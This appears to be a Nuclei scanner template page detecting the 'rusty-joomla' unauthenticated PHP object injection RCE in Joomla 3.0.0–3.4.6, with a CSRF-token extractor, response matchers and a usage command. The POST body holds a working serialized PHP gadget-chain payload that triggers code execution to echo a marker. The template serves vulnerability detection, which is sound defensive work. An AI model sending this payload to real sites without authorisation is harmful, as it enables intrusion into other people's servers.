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Joomla! CMS <=3.4.6 - Remote Code Execution

ID: rusty-joomla

Severity: critical

Author: leovalcante,kiks7

Tags: joomla,rce,unauth,php,cms,objectinjection

Joomla! CMS 3.0.0 through the 3.4.6 release contains an unauthenticated PHP object injection that leads to remote code execution.

id: rusty-joomla
info:
name: Joomla! CMS <=3.4.6 - Remote Code Execution
author: leovalcante,kiks7
severity: critical
description: |
Joomla! CMS 3.0.0 through the 3.4.6 release contains an unauthenticated PHP object injection that leads to remote code execution.
reference:
- https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/
- https://github.com/kiks7/rusty_joomla_rce
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 2
tags: joomla,rce,unauth,php,cms,objectinjection
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3BO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A7%3A%22print_r%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A40%3A%22http%3A%2F%2Frusty.jooml%2F%3Bpkwxhxqxmdkkmscotwvh%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login&{{csrf}}=1
host-redirects: true
max-redirects: 2
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- "<input type=\"hidden\" name=\"([0-9a-z]{32})\" value=\"1\""
internal: true
matchers:
- type: word
part: body
words:
- "http://rusty.jooml/;pkwxhxqxmdkkmscotwvh"
- "Failed to decode session object"
condition: and
# digest: 4a0a004730450220622dbb6f6827884db118607a68c80787dfa5509f952c1408eb0eb81e9ad56f75022100d8dfd3f8df087e8e97d9ad2fc9c68fb5dab64e3e91f1371a7b2451a8c635c8d4:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/joomla/rusty-joomla.yaml"

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